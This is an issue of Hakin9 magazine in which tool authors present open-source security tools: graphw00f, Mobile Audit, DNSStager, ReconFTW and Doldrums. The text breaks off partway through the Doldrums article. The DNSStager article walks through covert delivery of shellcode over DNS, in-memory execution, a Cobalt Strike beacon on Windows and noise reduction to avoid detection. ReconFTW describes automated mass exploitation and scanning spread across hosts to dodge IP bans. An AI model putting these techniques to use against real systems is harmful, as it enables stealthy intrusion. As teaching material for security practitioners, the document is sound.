TEAM

Editor-in-Chief

Joanna Kretowicz 

joanna.kretowicz@eforensicsmag.com

Managing Editor

Magdalena Jarzębska
magdalena.jarzebska@hakin9.org

Editors:

Marta Sienicka

sienicka.marta@hakin9.com

Marta Strzelec

marta.strzelec@eforensicsmag.com

Bartek Adach
bartek.adach@pentestmag.com

Michalina Szpyrka

michalina.szpyrka@eforensicsmag.com

Proofreader:
Lee McKenzie

Senior Consultant/Publisher: 

Paweł Marciniak 

CEO: 

Joanna Kretowicz 

joanna.kretowicz@eforensicsmag.com 

Marketing Director: 

Joanna Kretowicz 

joanna.kretowicz@eforensicsmag.com

DTP 

Magdalena Jarzębska

magdalena.jarzebska@hakin9.org

Cover Design
Hiep Nguyen Duc
Joanna Kretowicz

Publisher 

Hakin9 Media Sp. z o.o.

02-676 Warszawa

ul. Bielawska 6/19

Phone: 1 917 338 3631 

www.hakin9.org

All trademarks, trade names, or logos mentioned or used are the property
of their respective owners. The techniques described in our articles may
only be used in private, local networks. The editors hold no responsibility
for misuse of the presented techniques or consequent data loss.
Dear readers, 

2021 was a good year for open-source tools - many of the good old ones were updated and new useful pro-

grams were developed. They are the foundation of an ethical hacker’s work and that’s why we decided to re-

lease a free issue dedicated to the most effective open-source hacking tools of this year. To get this edition, all

you have to do is register on our website.

Inside you’ll find 10 articles, each written by the author of the tool. They will guide you through the installation

process and usage of each program, with a quick demonstration of its abilities. This is a great starting point for

those of you, whose cybersecurity journey has just begun, but it can also be an aid to more advanced hackers -

we selected some of the less-known tools, so everyone can learn something new and improve their work rou-

tine.

We would like to send gratitude to the authors, who were willing to share their tools and their knowledge with

our readers! We hope this project will bring more spotlight to your work and help you develop more amazing

tools. Thank you!

If you like this publication, share it with your friends and do not hesitate to let us know about the feedback,

every opinion means a lot to us!

Stay safe and enjoy!

Magdalena Jarzębska and Hakin9 Editorial Team

3
4
5
 GRAPHWOOF - IDENTIFYING AND
FINGERPRINTING GRAPHQL SERVERS
by Dolev Farhi
 Graphwoof - Identifying and Fingerprinting GraphQL

Introduction

Graphw00f is an open source GraphQL tool for identifying and fingerprinting GraphQL servers. Graphw00f helps pene-
tration testers identify servers running GraphQL and follows with a fingerprinting process to determine what technology
exists behind a given GraphQL endpoint. When graphw00f fingerprints GraphQL, it will provide an attack matrix relevant
to the fingerprinted technology.

Graphw00f is built using Python 3 and can run on any platform that has a Python environment.

Before we jump right into the graphw00f tool, it’s important to have a very basic understanding of GraphQL.

What is GraphQL?

GraphQL is a query language for APIs. GraphQL architecture consists of nodes and connections to describe the data rela-
tionship and has been made available to the public by Facebook in 2015.

You can think of GraphQL as a REST alternative that aims to solve a few pain points with traditional REST APIs, such as
under-fetching (not getting enough data back), over-fetching (getting too much data back) and maintaining a large set of
API routes.

GraphQL is gaining popularity and has been adopted by many big name companies, such as Facebook, HackerOne, GitHub,
GitLab, and Adobe, among others.

GraphQL Schema and Types

A schema is a representation of the data structure available on the web application. The schema defines the type of data a
client may ask for when it queries GraphQL.

Consider the following pastebin.com schema example:

type Paste {

title: String

content: String

is_public: Boolean

This schema is pretty basic, it represents a text someone could upload to pastebin.com.

A paste may have a Title, some Content, and maybe a visibility feature such as whether it’s a publicly accessible paste (rep-
resented by the is_public field), or a private one only the user may access.

7
 Graphwoof - Identifying and Fingerprinting GraphQL

Clients may use one of the 3 root graphql types: Query, Mutation or Subscription.

A query type is typically used to query data (read), a Mutation type is used to create, update or delete data (write) and a sub-
scription is most commonly used with long lasting operations, similarly to WebSockets.

Reading data with GraphQL

A client seeking to query pastes on pastebin.com may use a query such as this:

query {

pastes {

title

A simple query such as this might return all the titles of the available pastes:

"data": {

"pastes": [

"title": "Hakin9 demo"

This is as simple as it gets, GraphQL is known for its way of returning only the data you queried for, and nothing else.

8
 Graphwoof - Identifying and Fingerprinting GraphQL

Writing data with GraphQL

A rich application will not only let you read data but also write some.

Consider you wanted to not only read pastes, but also write one of your own! How would we achieve this? Meet the query
type Mutation.

Using a mutation type, we can create a new paste with random data on pastebin.com:

mutation {

createPaste(title:"my new title", content:"my new content"){

paste {

content

And the result of the mutation:

"data": {

"createPaste": {

"paste": {

"content": "my new content"

If you paid close attention, in the same mutation to create a paste, we have also asked GraphQL to return the content of the
newly created paste, which is why you see the string “my new content” in the response.

9
 Graphwoof - Identifying and Fingerprinting GraphQL

GraphQL is a rich language and there’s definitely a lot more to it, consider this to be a very simple introduction to GraphQL.

To learn more about GraphQL as a technology, I highly recommend using Apollo’s GraphQL Introduction Guide.

Identifying GraphQL

GraphQL is known for its single-endpoint approach. All API requests (be it a query, or a mutation) will typically be a POST
to a single endpoint, such as /graphql.

The /graphql endpoint is the most popular location of GraphQL, however, this can change depending on the language and
the application developer.

It’s important to know that GraphQL has a pretty predictable response when you attempt to interrogate it. In order to know
if GraphQL exists, you really don’t need to know a whole lot about the underlying schema, you can start with a very simple
query such as:

query {

__typename

Most implementations will respond to this query with the following response:

"data": {

"__typename": "Query"

Armed with this information, we can now pretty easily identify where GraphQL lives, by brute forcing a list of given URLs,
however, let’s use graphw00f to do the heavy lifting for us.

Installing graphw00f

This tutorial assumes you have:

Python3

git client

10
 Graphwoof - Identifying and Fingerprinting GraphQL

A graphql application endpoint to test it against.

• If you don’t have one, you can use a live demo application such as: https://countries.trevorblades.com or
https://demo.hypergraphql.org:8484

• Alternatively, you may use my other project Damn Vulnerable GraphQL Application as the playground.

1. Using git, clone the graphw00f repository:

$> git clone git@github.com:dolevf/graphw00f.git

2. Verify graphw00f has been installed properly:

$> python graphw00f -h

If all went well, you should see a similar output to this:

01 - graphw00f’s help menu

Now that we have graphw00f ready to go, let’s attempt to identify where graphql lives on a given web application!

Detecting GraphQL

Graphw00f provides 2 operation modes: Detect (-d) and Fingerprint (-f).

When graphw00f is used in detect mode, it will iterate through a list of popular graphql endpoints until it receives an an-
swer which matches its database.

Run graphw00f using the detect mode and provide a URL with the (-t) flag.

$> python main.py -d -t https://countries.trevorblades.com

11
 Graphwoof - Identifying and Fingerprinting GraphQL

02 - graphw00f running in detect mode against a given URL.

As you can see, graphw00f was able to figure out there’s a GraphQL endpoint on countries.trevorblades.com, more specifi-
cally at /graphql.

You can just as easily use a list of URLs if you are in a pentest in the following way:

$> for i in $(cat hosts); do python main.py -d -t $i done

03 - iterating through multiple URLs with graphw00f

Fingerprinting GraphQL

Fingerprinting is the art of using information in order to identify remote targets such as network services, server versions,
hardware models, operating system, etc.

12
 Graphwoof - Identifying and Fingerprinting GraphQL

Today, there are GraphQL implementations in pretty much all popular languages: PHP, Node.js, Python, Java, and Go, to
name a few. All of them follow the same GraphQL specification, so how can we fingerprint them?

Graphw00f abuses the fact that some implementations produce slightly different output to the same given query, be it a
query with valid or invalid syntax (see CWE-204 for weakness details). When Graphw00f runs against a given URL, it will
send a few benign and malformed queries in order to determine what the backend implementation might be.

Graphw00f currently (as of version 1.0.4) supports over 15 different implementations. To check what implementations
graphw00f supports, simply run it with the (-l) flag:

$> python main.py -l

04 - graphw00f list of supported fingerprints

I’ve mentioned GraphQL implementations are available in multiple languages, it’s incredibly important to realize that some
implementations have been out longer than others. This fact has an impact on the security features some of them offer (or
don’t offer) and graphw00f leverages this and will also point out how a particular technology can be attacked.

Now that we have identified that a graphql endpoint exists on countries.trevorblades.com, let’s see if we can figure out what
implementation it is.

13
 Graphwoof - Identifying and Fingerprinting GraphQL

So far, we’ve used the graphw00f’s detect mode (-d), let’s now try out the Fingerprint mode (-f).

Run graphw00f using the fingerprint mode and provide a URL with the (-t) flag.

$> python main.py -f -t https://countries.trevorblades.com

05 - graphw00f’s running in fingerprint mode against a given URL.

As you can see, graphw00f identified the website to be running Apollo (JavaScript) GraphQL.

Graphw00f, in addition to the details on the fingerprinted GraphQL implementation tech, will also provide an Attack Sur-
face Matrix link in its output, this should guide penetration testers how to test the application according to the security de-
fences the implementation supports.

14
 Graphwoof - Identifying and Fingerprinting GraphQL

06 - graphw00f’s Attack Matrix Table

As you can see, we have a Security Features section where it’s pointed out what security features Apollo provides out of the
box, and what’s not supported.

Conclusion

Gathering as much information as possible about a target during an assessment is crucial when building a strategy on how
to attack a given server or service. Graphw00f provides the starting point in your GraphQL Penetration Test journey by con-
textualizing the remote graphql service.

References:

1. Damn Vulnerable GraphQL Application

2.Apollo GraphQL Basics

3. Common Weakness Enumeration

15
 Graphwoof - Identifying and Fingerprinting GraphQL

About the Author

Dolev Farhi

Dolev is a security engineer and author with extensive experience leading security engineering teams in complex environ-
ments and scale in the Fintech and cyber security industries. Currently, he is the Principal Security Engineer at Wealthsim-
ple, building defences for one of the fastest Fintech companies in North America.

Dolev has previously worked for several security firms and provided training for official Linux certification tracks. He is one
of the founders of DEFCON Toronto (DC416), a popular Toronto-based hacker group. In his spare time, he enjoys research-
ing vulnerabilities in IoT devices, participating and building CTF challenges and contributing exploits to Exploit-DB.

16
 MOBILE AUDIT
STATIC ANALYSIS AND DETECTING
MALWARE IN ANDROID APKS
by Mónica Pastor
 Mobile Audit

Introduction

Mobile Audit is an open source web application that performs security assessments, including static and malware analysis
of Android applications using Docker for easy deployment in a multiplatform environment.

First, for better understanding, we would do a differentiation between static analysis and dynamic analy-
sis.

Static analysis (SAST): also called code analysis. It analyzes the source code of the application to find vulnerabilities.
It does not require the execution of the application.

Dynamic analysis (DAST): it executes the application and finds vulnerabilities while interacting with the application.

Mobile Audit tries to find vulnerabilities in the first steps of the development lifecycle, so it focuses alone
in static analysis and it does not require the applications to have a runtime environment.

The tool performs security assessments to find vulnerabilities through the code, using the following steps:

• Obtain the application to analyze (apk).

• Reversing (decompilation of the code).

• Code analysis.

• Results and triage: obtain the different vulnerabilities and remove the false positives (not an issue).

• Results elaboration and report.

On the other hand, it focuses on three main parts: Static Analysis, Malware Analysis and Best Practices of Secure Android
Coding. In the following lines, the different options will be explained and how to deploy it locally to scan and validate the
security of our Android applications.

18
 Mobile Audit

Results of the scan of an application

Static Analysis (SAST)

As it has been previously said, one of the focuses is related to source code analysis, which starts the scan extracting all the
information about the APK, analyzes the source code finding weaknesses and categorizes all the findings following CWE
and OWASP Top Mobile Risk standards.

SAST analysis

19
 Mobile Audit

Some of the information that is extracted are:

• Permissions: In our application, we will have a custom dictionary of permissions in Android classified by criticality, ac-
cording to whether they are less (Low) or more dangerous (High). It will extract the permissions from our apk and catego-
rize.

• Information about the application: including their activities, components, certificates, etcetera.

• Antivirus: extract all the information that it has about the hash of an apk from VirusTotal or upload and
scan the apk if it is not present (and the option is enabled in the configuration, which is disabled by de-
fault to avoid any sensitive information leak).

• Findings: all vulnerabilities and malware detections grouped by categories.

• Strings: all interesting strings like passwords, IP addresses, URLs, etcetera.

• Certificates: all the info about the signing certificates in the apk.

• Files: categorizes all the files of the application.

• Databases: extracts all the info found in the databases.

Menu of the application

20
 Mobile Audit

It facilitates the security engineer in the triage process, which consists of verifying if a vulnerability is exploitable
(is a true positive) or if it is not exploitable (false positive), allowing the access of the files to see the corresponding
vulnerabilities in the code and edit of all the fields of the findings, which includes setting the findings with the fol-
lowing options:

• To Do: first option before any triage.

• True positive: the developer would set this option if the vulnerability is exploitable.

• Unknown: the developer does not know if it is exploitable or not.

• Verified: the security engineer verifies that the vulnerability is exploitable and it has to be remediated.

• False positive: the issue is not exploitable.

Also, manual findings are gathered, though other sources can be created in the tool.

Triage of the findings

21
 Mobile Audit

Malware analysis

First, similarly as the static analysis, suspicious code and functions are searched through the code, to find possible malware
in the apk.

Also, the information from VirusTotal is queried, allowing us to verify if it has been detected as a malware by any antivirus
available. Also, we have information from Maltrail and MalwareDB to find suspicious IPs.

Virus Total Results

22
 Mobile Audit

Android Security Best Practices

We have an interesting functionality to allow the developers to understand the best practices of security that are being im-
plemented through the code, which tells the developers in which parts of the code they are coding securely and where they
are not.

Best Practices of Secure Android Coding

How the tool it works

First, as this application has user management, we would need to register a user to be able to create and update information
in the tool.

Register a new user

23
 Mobile Audit

Once it is done, we would create the application in the tool, then upload the apk of the corresponding version that we want
to assess. With this, the scanning process has started, in which the source code of the application is extracted and reversed
for its next analysis.

Create a scan

In this reversing phase, the code is decompiled and the static analysis is performed to obtain as much information as possi-
ble, as well as to search for vulnerabilities or malware in it using patterns that are found through the code. To avoid false
positives, these can be activated and deactivated in /patterns.

Patterns

24
 Mobile Audit

Once the audit is completed, the findings found can be verified manually, in the triage phase, discarding those that are false
positives.

Finally, the audit ends with a phase of elaboration of results that includes a final report that can be exported with the conclu-
sions and information extracted.

Scan finished

Deployment

The application is deployed using Docker; to do so, there is a docker-compose.yml file, which allows you to run the app

locally in development. There is also a production yaml version docker-compose.yml.prod.

To build the local image, and if there are changes to the local Application Dockerfile, you can build the image with:

docker-compose build

Then, to start the container, run:

docker-compose up

Once the application has launched, you can test the application by navigating to: http://localhost:8888/ to access the dash-
board.

25
 Mobile Audit

Dashboard of the application

Components and integrations

There are the following components:

Architecture diagram

26
 Mobile Audit

Which contain the following tool integrations:

Virus Total (API v3)

Defect Dojo (API v2)

Maltrail

MalwareDB

It also has an API to programmatically perform the same operations as using the GUI, to be able to integrate the tool into
the DevSecOps pipelines.

Mobile Audit API

References:

1. https://github.com/mpast/mobileAudit

2.ttps://github.com/OWASP/www-project-mobile-audit

3. https://mpast.medium.com/mobile-audit-sast-and-malware-analysis-for-apks-7938f2c9e0be

27
 Mobile Audit

About the Author

Mónica Pastor
I am a Senior Product Security Engineer with experience in Application Security and Web & Mobile
secure development, very passionate about building tools and automate processes to speed up the
finding of vulnerabilities.

https://github.com/mpast

https://mpast.github.io/

28
DNSSTAGER
by Mohammad Askar
 DNSStager

Introduction

While being on an engagement in a well-known monitored network, I needed a tool to help me pull off my payload through
DNS without being noisy or suspicious with the ability to inject this payload into the memory and run it.

While that is not very hard to implement, it was the beginning of a new tool that I created called DNSStager and you can
use it to hide your payload in DNS.

How DNSStager works

DNSStager will create a malicious DNS server for you that will handle DNS requests to your domain and return your pay-
load as a response to specific record requests, such as AAAA or TXT records, after splitting it into chunks and encoding the
payload using different algorithms.

These addresses represent a chunk of your payload. This chunk of your payload is simply bytes that are encoded/encrypted
and ready to use by the agent.

DNSStager can generate a custom agent written in C or GoLang that will resolve a sequence of domains, retrieve the pay-
load, decode it and finally inject it into the memory based on any technique you want.

The agent at this point is ready to use the in-memory stored payload and do further actions on it, we will see how that is
done in a bit and how you can modify that to use the in-memory bytes with any process/memory injection technique you
want.

30
 DNSStager

From the previous figures, DNSStager client.exe will try to resolve the N number of subdomains generated by DNSStager
and each response of these domains present several bytes of your encoded payload.

DNSStager will encode your payload, split it into chunks and make it ready to resolve via your client.exe agent, which could
be a C or GoLang agent, you can choose that when you start DNSStager and we will talk about that in a bit.

So after retrieving all the payload bytes, the DNSStager agent will inject them into memory and run them directly to execute
the shellcode. The good thing here is that you can customize the agent and implement your techniques of process/memory
injection to get your payload run after it got pulled through DNS.

Why use DNSStager?

A best use case for DNSStager is when you need to retrieve your payload through DNS while it’s the only channel available
for you to receive data from.

You can use the C or GoLang client to resolve the full payload through DNS and customize the agent to use your process/
memory injection, which means you can fully customize it for your operation and your target.

DNSStager currently supports two DNS records to resolve the full payload which are: IPv6 via AAAA record and TXT re-
cord.

31
 DNSStager

DNSStager installation process

To install DNSStager you need to clone it first from the official repo using the following command:

git clone https://github.com/mhaskar/DNSStager

Then you need to install all the Python requirements of DNSStager using the following command:

pip3 install -r requirements.txt

Please note that you need Python3 to run DNSStager.

You also need to install mingw64 to compile the C agent, and you can do that using the following command:

apt install mingw-w64

And to compile the GoLang agent, you need to have the GoLang compiler v1.16 installed.

And after you install all the dependencies, you are ready now to start DNSStager using the following command:

./dnsstager.py

Please make sure to start DNSStager as root, also make sure to disable systemd-resolved before you run DNSStager.

DNSStager setup process

To use DNSStager, you need to make your domain point to DNSStager as its name server “DNS Server” to resolve and han-
dle any DNS requests coming to your domain.

For example, I’m controlling a domain called mydnsserver.live I created a subdomain called test.mydnsserver.live and
made mydnsserver.live the “NS” – Name Server of test.mydnsserver.live after running DNSStager on mydnsserver.live.

32
 DNSStager

So in this case, any request coming to the domain test.mydnsserver.live will be handled by mydnsserver.live which is the
DNSStager instance that we are running.

This means if you tried to resolve subdomain.test.mydnsserver.live DNSStager will resolve the value of
subdomain.test.mydnsserver.live if it existed.

You can change the NS to any subdomain/domain you want, but in my case, I just took the main domain as the NS.

DNSStager Usage

To list all DNSStager options, you can simply execute:

python3 dnsstager.py -h

--domain: you can use this option to select the main domain you will use to handle the DNS requests.

-- prefix: The prefix you want to use for the subdomain schema. For example, if your main domain is fakedns.live
you can specify the prefix as "cdn". So the generated domains will be a pattern as the following: cdn0.fakedns.live
cdn1.fakedns.live cdnN.fakedns.live where N is an auto-generated number that represents the number of chunks of your
payload.

33
 DNSStager

--payload: the DNSStager payload "agent" you want to generate based on the technique, programming language, and
architecture.

--output: Output path to save DNSStager executable payload "agent".

--shellcode_path: Your raw/bin shellcode path.

--xorkey: XOR key to encode the payload with.

--sleep: Used to sleep for N seconds between each DNS request.

DNSStager payloads

DNSStager provides you with multiple payloads that you can use, to check the available DNSStager payloads, you can use
./dnsstager.py --payloads to get the following results:

These payloads are generated as executables that you can use directly to execute that attack.

Full attack scenario using DNSStager via IPV6

We will use the Cobalt Strike beacon with DNSStager to fully compromise Windows server 2019 after executing the
DNSStager agent.

When the DNSStager executable is executed, it will retrieve the full payload using DNS IPv6 Records.

We will generate a Cobalt Strike beacon like the following:

34
 DNSStager

Now, let's upload the generated payload to DNSStager instance like the following:

All ready to run DNSStager now, my domain is test.mydnsserver.live and I will use cdn as my prefix and the rest of the op-
tions like this:

This command uses the following options:

--domain: the main domain to handle the DNS requests.

--payload: x64/c/ipv6: to use x64 bit C agent payload that will retrieve the payload using IPv6.

--output: the path to save the payload to.

--prefix: the prefix to use for the subdomains cdn0.test.mydnsserver.live

--shellcode_path: the path to the previous shellcode to use.

--sleep: to force the agent to sleep for 0 seconds after each request (No sleep in our case).

--xorkey: the XOR key value to encode the payload with.

35
 DNSStager

Let's test if everything is working well by using the following dig command to query for AAAA records for the domain
cdn0.test.mydnsserver.live.

As we can see, we received the encoded chunk of the payload as IPv6 address response, which is encoded with the XOR key
value 0x20.

To verify that, let’s read the first 16 bytes from payload.bin and XOR them with 0x20 to get the following:

As we can see, we got the same in the DNS response value after reading the first 16 bytes from the shellcode after encoding
each byte with 0x20.

Now we are ready to send agent.exe to our target and see if we will get a beacon back to our Cobalt Strike.

36
 DNSStager

Let’s open this file in Windows Server 2019 and see what we will get:

As we can see, we got a beacon back from DNSStager after pulling the full shellcode through DNS, encoding it, and running
it from memory based on the configurations that we used before.

You can use the same attack on different Windows versions and you will get the same results in execution.

DNSStager Observation

DNSStager agent will send a number of DNS requests in order to pull the full payload, of course, if you are using IPv6 the
number of requests will be bigger than TXT because you are limited to 16 bytes per request only.

Now to see the traffic in action, let’s open Wireshark on our Windows Server 2019 and see what is going on there!

37
 DNSStager

A total of 59 DNS AAAA requests were sent to pull the full payload, we can add some sleep between each request to make it
less noisy!

And don’t forget that the process is depending on the size of the payload again, larger shellcodes mean more requests to
send from the agent.

DNSStager Agent Customizing

You can modify the process injection technique you want to use for both GoLang and C agents, you can see the source code
for both codes in the templates folder inside DNSStager main folder.

The C agent currently is doing a simple jump to the shellcode after pulling it from DNS. Of course, you can customize that
as you wish after editing the C agent template templates/client-ipv6-generic.c main function, which has the following code:

38
 DNSStager

In line number 95, you will have the address of the ready to use shellcode saved in a variable called ShellcodeAddress and
then we use a simple goto to jump to this address.

You can use ShellcodeAddress with your process/memory injection technique as you want now by editing this function. For
the GoLang agent, we are using the CreateFiber technique (https://github.com/Ne0nd0g/go-shellcode#CreateFiber) which
is adopted from Ne0nd0g (https://github.com/Ne0nd0g).

You can also customize it as you want by using the function retreiveShellcodeAsHex in both template files:
templates/client-ipv6-generic.go templates/client-txt-generic.go You can edit and modify the agent to handle that value as
you want.

Conclusion

DNSStager is a tool built to help you deliver your payload through DNS, and you can also customize the behavior of the
injection/execution of your payload.

DNSStager is still a project under development and this is the beta release of it. I tried to finish the main functions and
make it as stable as possible, of course, more work and fun ideas will come soon in the stable version.

About the Author

Mohammad Askar

Mohammad Askar, Offensive security engineer at Callsign, author of a couple of open-source projects such as DNSStager,
Octopus, and Bughound.

He used to discover and develop exploits for 0-days that are found on various solutions and share them with the commu-
nity.

He spends his time breaking things or learning how to break things.

39
RECONFTW
by Alexis Fernández
 ReconFTW

Intro

Reconnaissance, asset discovery, expanding attack surface, domains and subdomains search... the initial step in a pentest-
ing or a bug hunting process is one of the most important and it will help you find those sites that nobody has found yet.
The more assets you find, more surface you have to attack, which will be traduced in more potentially vulnerabilities, apart
from some unique vulnerabilities related to hidden assets and here is where reconFTW comes in.

ReconFTW

Sticking to its official description, reconFTW is a tool designed to perform automated recon on a target domain by running
the best set of tools to perform scanning and finding out vulnerabilities.

In other words, given a target domain, it puts special efforts on subdomains' enumeration performing different techniques
to perform later a unique workflow/methodology to give you an incredible amount of information about your target in or-
der to have everything ready to start with the exploitation phase.

ReconFTW's main menu

In addition, it has an installer that easily configures a complete environment for pentesting, installing more than 50 tools
ready to work. This installer also serves as an updater for reconFTW detecting if there is a new version and downloading it.

41
 ReconFTW

Installer running

The steps performed one by one at a high level are described below.

OSINT

Although it is not the main objective of the tool, this phase provides some information that can be useful in more advanced
steps of the audit.

Basic domain information such as whois, registrant, etc.

Google and GitHub dorking.

Metadata in public indexed documents (authors, software, etc.)

Search for emails, LinkedIn employees and usernames.

42
 ReconFTW

Credential leaks.

Doing an OSINT search

Subdomains

This is the greatest strength of the tool, which is evolved continuously and reviewed to include new techniques. Currently, it
returns more valid subdomains than any other tool or source, both paid or free.

Passive subdomains extraction from 3rd parties indexed results like Spyse, Censys, Shodan, etc.

Certificate transparency search

DNS bruteforce with the best wordlists

Advanced alterations and permutations

DNS registers lookup

Web scraping subdomains search

Analytics ID relationships

Recursive process option allowing deep searches

Zone transfer check

43
 ReconFTW

Searching subdomains with multiple techniques

Websites

Websites are probably the biggest attack vector for most companies, that's why this requires special attention and analysis.
The tool performs:

Website resolution from active subdomains list

Website resolution in non standard ports

Web screenshot

Favicon IP lookup

Template based scanner

Waf detection

Web fuzzing

CMS Scanner

URL extraction by passive and active methods

44
 ReconFTW

URL's vulnerabilities pattern search

JavaScript analysis

Wordlist generation

Performing web analysis

Hosts

Apart from websites, single hosts are usually a good source of vulnerabilities, so we need to know what’s running on those
juicy ports. For this task, ReconFTW runs:

• Passive port scan

• Active port scan

45
 ReconFTW

• Searchsploit integration

• Cloud provider detection

Vulnerabilities

This tool was not designed to exploit vulnerabilities, but given the amount of information collected, the need arose to re-
view some configuration flaws or automate the detection of certain vulnerabilities on a massive scale. Today the following
vulnerabilities can be exploited in an automated way:

Subdomain takeover

Zone transfer

S3 discovery

XSS

SQLi

CORS

Open Redirects

SSRF

CRLF

Broken links checks

LFI

SSTI

SSL checks

Command injection

Password spraying

Prototype pollution

46
 ReconFTW

Extra

This tool is not intended to be the ultimate weapon to attack any target, but it does do a great job in asset discovery and cur-
rently allows many people to look at source code for how to automate certain tasks or what tools to use.

A configuration file is also provided to customize the scan to suit your needs, many different modes and flags, such as IP/
CIDR target, notification system, sending results by chat, multiple scans in one go, etc.

Finally, the latest updates have included distributed scanning via VPS, in such a way that all the scanning work can be dis-
tributed among dozens of hosts, avoiding IP blocks, bans and getting really good times. There are also options to use a mon-
godb database, an API, a client, or a web dashboard in which to view the extracted data, thus making it one of the most com-
plete tools.

ReconFTW running in distributed mode with Axiom's integration

Conclusion

ReconFTW is used by many users around the world, from bug hunters to pentesters and ethical hackers, which helps to im-
prove this tool with your questions, suggestions or your tools for specific purposes that end up being integrated. So if you
want to have a good recon process, learn more about this topic or help me improve it, I invite you to give it a try and reach
out to me if you need something.

47
 ReconFTW

About the Author

Alexis Fernández

Alexis Fernández, a.k.a. six2dez, is a Spanish pentester and bug hunter. He has a strong background as a programmer and
Linux sysadmin, and now he is focused on asset discovery and recon process improvements.

48
DOLDRUMS
by Ricardo Loura
 Doldrums

1. Introduction

In the following article, we will present a deep dive into the inner workings of Flutter applications and their underlying Dart
virtual machine. We will also present Doldrums, a specialized tool to help reversing such applications, and explain exactly
how it may help a reverse engineer with a simple example. We will also discuss other tools that may be used to complement
Doldrums, as well as its shortcomings and future work. A small amount of knowledge about reverse engineering native code
is assumed in Section 6.

2. Background

Computing advances have frequently come about as a result of abstracting away layers of complex routines and mecha-
nisms, themselves often also built over other routines and mechanisms that came before. A deeply technical cryptographic
routine becomes a simple method in a standard library, an input sanitization or validation procedure becomes an API call,
and so on and so forth.

As the layers of abstraction stack up on one another, new techniques are developed to handle the most varied tasks, and fun-
damentally modify the way code is written. The introduction of virtual machines such as Java, or frameworks like Cordova
or React, highlight such fundamental changes. The underlying idea is to build an engine that can run on multiple platforms,
and have that engine be capable of running generic cross-platform code. That engine then abstracts away the inner work-
ings and specifics of each platform, and allows programmers to write code once and have it run anywhere (Java’s famous
WORA – Write Once Run Anywhere – slogan).

In the case of Cordova or React, the engine is a standard JavaScript engine, embedded in one way or another into most plat-
forms, and the framework simply acts as a bridge between the JavaScript engine and the platform. When reverse engineer-
ing these frameworks, the internals of the JavaScript engine are of no interest. The bridges between JavaScript and the un-
derlying platform may require some investigation, yet the semantics of the program can be recovered fully by simply read-
ing the JavaScript code. It may be easier in some frameworks than in others, but it is generally a manageable endeavor.

In the case of Java, WORA is achieved through a dedicated virtual machine, known very pragmatically as the Java Virtual
Machine, or JVM for short. Although some other ways to run Java code exist, the most typical consists of writing Java code,
compiling it down to Java bytecode, and letting the JVM read and execute that bytecode. From a reverse engineering per-
spective, the internals of the virtual machine are again of little interest, as the program’s behavior is dictated entirely by the
Java bytecode, which is generally easy to recover.

Flutter is one of the newest additions to the collection of cross-platform software development kits. Flutter builds on top of
an existing virtual machine, called the Dart Virtual Machine, which in turn is implemented directly in native code in mobile
production releases. However, unlike Cordova or React, it is not a simple bridge between two existing technologies, unlike
Java, there is no bytecode to recover, and unlike native C/C++ applications, the native code that does exist is quite far from
being the compiled version of a C/C++ program, making C/C++ decompilers a very limited help. This renders the task of
reverse engineering such applications extremely difficult.
50
 Doldrums

In this article, we shall look in detail at how the Dart Virtual Machine is implemented in the Android platform specifically.
We will then showcase the power of Doldrums, an analyzer for such applications. This will include significant insight into
the Doldrums tool, its inner working, source code, capabilities and the way it’s been constructed. Finally, we will highlight
how one can go about tackling such a problem in general using Doldrums and other available tools with an example.

3. The Dart Virtual Machine

The Dart Virtual Machine is a versatile and fast virtual machine that allows running Dart code in one of several different
ways in mobile platforms. These can be split up into the two standard categories of JIT-compiled and AOT-compiled code.
Dart apps using the former bundle the actual Dart source code together with a runtime engine and JIT-compiler, and the
format is used mainly for debugging purposes. It is completely excluded from production releases by default.

The latter compiles all code into native code, and uses the available native platform to actually run it. In other words, the
programmer creates their app in the Dart programming language, it gets compiled to a set of libraries for various architec-
tures, namely x86, x86_64, ARMv7 and ARMv8, and a runtime engine delegates execution to the native code. This is by far
the most common, and consequently the most interesting case for a reverse engineer. It will be the focus of the present arti-
cle, and is the target of the Doldrums tool that will be explored in detail.

Before proceeding, there are a few fundamental concepts one needs to understand before attempting to reverse a Flutter ap-
plication. The first is that of a Dart isolate.

A Dart isolate is conceptually a sandbox where Dart code may run, and one isolate may not share state directly with any
other isolate. In general, a single application may use multiple isolates, and some communication between isolates is possi-
ble via message passing. Each of these isolates is comprised of a heap containing the object graphs, and a couple of threads
for execution and VM internals a reverser can in general safely ignore. Every Dart app also makes use of a special isolate
called the VM isolate, whose heap contains immutable objects, such as the empty array, the null reference, or the boolean
values. Additional details can be found in [5].

In Android specifically, which will be used henceforth as the reference basis, only two isolates are used: the VM isolate, and
the actual program’s isolate. The latter comes pre-initialized, by shipping a serialized version of its heap right before the call
to the main function. This pre-initialization is one of the features that make Dart apps so fast, as it transforms a typically
complex initialization process into a simple deserialization routine. The serialized version of an isolate’s heap is called a
Dart snapshot, and is the main component of the native ELF files shipped in every Flutter application for Android.

Indeed, if one opens any Android Flutter app and examines its native libraries, two will always be present, for each of the
supported architectures: the libflutter.so, containing Flutter’s runtime engine, and the libapp.so, containing the
Dart snapshot. A quick analysis of libapp.so in any decompilation suite immediately shows the snapshot data (see Figure
1).

51
 Doldrums

Figure 1: libapp.so in Ghidra

The DartIsolateSnapshot sections refer to the actual program’s snapshot, whereas the DarthVmSnapshot sections
refer to the serialization of the VM isolate. The reason why the isolate snapshots are split into two subsections is purely
memory management. Whereas actual native code needs to be placed in the executable .text section of the ELF, raw data
such as strings are better suited for the .bss section. To achieve this, each snapshot is divided into an instructions subsec-
tion, which is mapped into executable memory, and a data subsection, mapped into non-executable memory. Conceptually,
however, there are only two isolate snapshots, and not four.

4. The Dart Snapshot Format

Since the snapshot contains the object graphs prior to executing main, understanding the format of a snapshot is the first
fundamental obstacle to overcome in order to reverse a Flutter application. Unfortunately, the format is not standardized or
documented. It is also subject to change with every minor release, and its layout is dictated by its source code, which, even
though publicly accessible, is not trivial to digest, especially without any knowledge of its high-level design and concepts.
For the present article, snapshots are assumed to be from Dart version 2.12. Most of the analysis is easily adaptable to other
versions.

Some key ideas remain constant throughout the various versions. In particular, a snapshot always contains a header detail-
ing some meta information about itself (version, features, number of serialized objects, …), and is constructed in such a way
that deserialization can occur in a single pass. The process can be deconstructed into several different steps:

For every object, a serialization routine is defined.

Every object of the same type is grouped together into what is called a cluster, each of which has an associated class ID.

Metadata information about each cluster (e.g.: its class ID, the number of objects the cluster contains, ...) is serialized se-
quentially, and the outputs of the serialization processes are concatenated. This step is called the alloc stage.

Every cluster is serialized sequentially, in the same order as in the previous step. This serialization step consists of iterating
over each object in the cluster, and using the corresponding serialization routine defined in step 1. The results are again con-
